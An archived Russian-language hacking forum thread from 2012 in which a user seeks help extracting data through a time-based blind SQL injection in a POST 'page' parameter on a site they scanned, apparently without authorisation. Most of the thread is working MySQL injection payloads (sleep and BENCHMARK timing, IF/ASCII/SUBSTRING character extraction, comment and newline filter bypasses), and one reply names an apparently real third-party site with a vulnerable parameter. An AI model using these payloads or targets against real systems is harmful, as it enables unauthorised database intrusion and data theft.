PDA

Просмотр полной версии : Нераскручиваемый тайм бейсед блинд SQL инжекшн


jkchief
02.09.2012, 18:15
Всем привет, нашел скулю, но очень она странная.

Ссылку прямую дать не могу

Но может кто подскажет варианты, я хочу ее раскрутить:

Итак детали : Есть некий сайт, скажем

http://site.com

Где по следующей ссылке акунетикс нашел скулю блинд скл инжекшн.

http://site.com/misc/print_version.php

Уязвимость касается POST параметра

page was set to /rus/search.php'=sleep(2)='

Полные пост данные:

name=blah&page=/rus/search.php'=sleep(2)='

SQLMAP ее не находит.

Реакция сервера:

1) sleep(2) - засыпает на 20 секунд. Чтобы заснул на 1 секунду, приходится ставить sleep(0.1) - почему так непонятно

2) пробовал следующие варианты:

Не засыпаетИли не засыпает на добавочный слип)

page=blah'=sleep(0.2)='

page='=sleep(0.2)='

page=/rus/search.php'=sleep(0.1)= '

page=/rus/search.php'=sleep(0.1)='" AND (BENCHMARK(100000,SHA1(CURRENT_USER)))

page=/rus/search.php'=sleep(0.1)='" UNION SELECT (BENCHMARK(100000,SHA1(CURRENT_USER))) --

page=/rus/search.php'=(BENCHMARK(100000,SHA1(CURRENT_USER))) =1"

page=/rus/search.php'= (BENCHMARK(100000,SHA1(CURRENT_USER)))='

page=/rus/search.php='=SLEEP(0.1)+(BENCHMARK(100000,SHA1(CUR RENT_USER)))='

page=/rus/search.php'=sleep(0.1)=' AND WHERE (BENCHMARK(100000,SHA1(CURRENT_USER)))=1

page=/rus/search.php'=(IF((IFNULL(ASCII(SUBSTRING((SELECT @@version),1,1)),0)

Gifts
03.09.2012, 17:53
jkchief а вы уверены, что это слепая инъекция? Скорее похоже, что вы не понимаете что творится с запросом и там возможно получить вывод. Ну и фильтруются пробелы.

Попробуйте замены пробелов вначале, а именно запросы вида:


Code:
page=/rus/search.php'/**/and/**/1=1/**/''='
page=/rus/search.php'/**/and/**/0=1/**/''='
page=/rus/search.php'%0aand%0a1=1%0a''='
page=/rus/search.php'%0aand%0a0=1%0a''='

И вопрос стоило писать сюда - /thread46016.html

jkchief
03.09.2012, 18:30
/thread46016.html - сюда сначала и написал. Не знаю почему, но потом не нашел своего поста.

Может из-за того, что пост большой.

По уязвимости:

Сервер точно не выдает никаких ошибок. Вывод ошибок SQL сервера заблокирован.

page=/rus/search.php'/**/and/**/1=1/**/''='

page=/rus/search.php'/**/and/**/0=1/**/''='

page=/rus/search.php'%0aand%0a1=1%0a''='

page=/rus/search.php'%0aand%0a0=1%0a''='

Разве что нашел связанную с этим XSS, - на странице выводится в форме поиска скрытое поле, где вставлен value - текст запроса. Никаких признаков жизни от MySQL сервера.

Все варинанты не дейсвуют. Я уже прогонял уязвимость и SQLMAP и хавиджем, добавлял суффиксы и префиксы какие смог придумать. Ничего не находят. Акунетикс ее хоть и нашел, но вот его модуль Blind SQL injector не находит.

Однозначно это только слепая инжекшн.

И я однозначно не понимаю что творится с запросом и как он выглядит хотя-бы приблизительно.

Gifts
04.09.2012, 03:27
jkchief откройте еще для себя параметр tamper в sqlmap. Проблема в пробелах а не суффиксах. И я имел ввиду нормальный вывод, а не вывод в ошибке.

jkchief
06.09.2012, 04:04
Нормального вывода нет совсем. Это точно.

Остается засыпание.

За наводку на тампер спасибо, если до конца смогу раскрутить скулю, тогда попробую, а пока еще не могу полноценный запрос получить.

Немного доработал скулю и получил следующее:

name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(USER(),4,1))='116' ,1,sleep(0.1)))='

Таким образом узнал пользователя, версию бд, название бд.

Но дальше пойти не могу.....нужно же вместо USER() вставлять полноценный запрос селект:

Вот что пробовал:

Нашел в инете примеры обхода пробелов, типа:

select(null),mid(group_concat(table_name),600,100) ,(null)from(information_schema.tables)

select(null),table_name,(null)from(information_sch ema.tables)limit 28

select(null),group_concat(column_name),(null)from( information_schema.columns)where(table_name)=(0x75 73657273)

(вставленно заранее ложный кондишен и если запрос составлен правильно, то должен засыпать на секунду.)

Не засыпает:

name=blah&page=/rus/search.php'=(IF(ASCII(SELECT SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))='

name=blah&page=/rus/search.php'=(IF(ASCII(SELECT(null)SUBSTRING(USER() ,4,1))='WTF',1,sleep(0.1)))='

name=blah&page=/rus/search.php'=(IF(ASCII(SELECT(null),SUBSTRING(USER( ),4,1))='WTF',1,sleep(0.1)))='

name=blah&page=/rus/search.php'=(IF(ASCII(SELECT(0),SUBSTRING(USER(),4 ,1))='WTF',1,sleep(0.1)))='

name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(select(0),group_co ncat(table_name),(0)from(information_schema.tables ),4,1))='WTF',1,sleep(0.1)))='

name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(SeLeCt(0),gRoup_Co nCat(table_name),(0)fRom(information_schema.tables ),4,1))='WTF',1,sleep(0.1)))='

name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(SeLeCT+1,2,concat(/*!table_name*/)+FrOM/*information_schema*/.tables/*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database()),4,1))='WTF',1,sleep(0.1)))='

name=blah&page=/rus/search.php'=(IF(ASCII(SELECT/*foo*/SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))='

Вроде как фильруется селект

Засыпает:

name=blah&page=/rus/search.php'=(IF(ASCII(/*Sfoo*/SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))='

name=blah&page=/rus/search.php'=(IF(ASCII(SUBS/*Sfoo*/TRING(USER(),4,1))='WTF',1,sleep(0.1)))='

kamaz
11.09.2012, 17:54
Помимо такого обхода пробела можно еще попытаться использовать


Code:
%0a

, иногда срабатывает.

Также, проверить на фильтрацию чего либо (в данном случае - конструкции select или union select) можно, внедрив в заблаговременно успешный запрос конструкции вида


Code:
/*select*/

или


Code:
/*union select*/

соответственно.

И еще, можно попытаться подобрать другие параметры, влияющие на вывод. Например, поискав сайты со схожими конструкциями ссылок... Как вариант -


Code:
http://rollholl.ru/misc/print_version.php

POST


Code:
page=/rus/search.php?mode=&change=&cat=10&brand=0

Где параметр "cat" является уязвимым)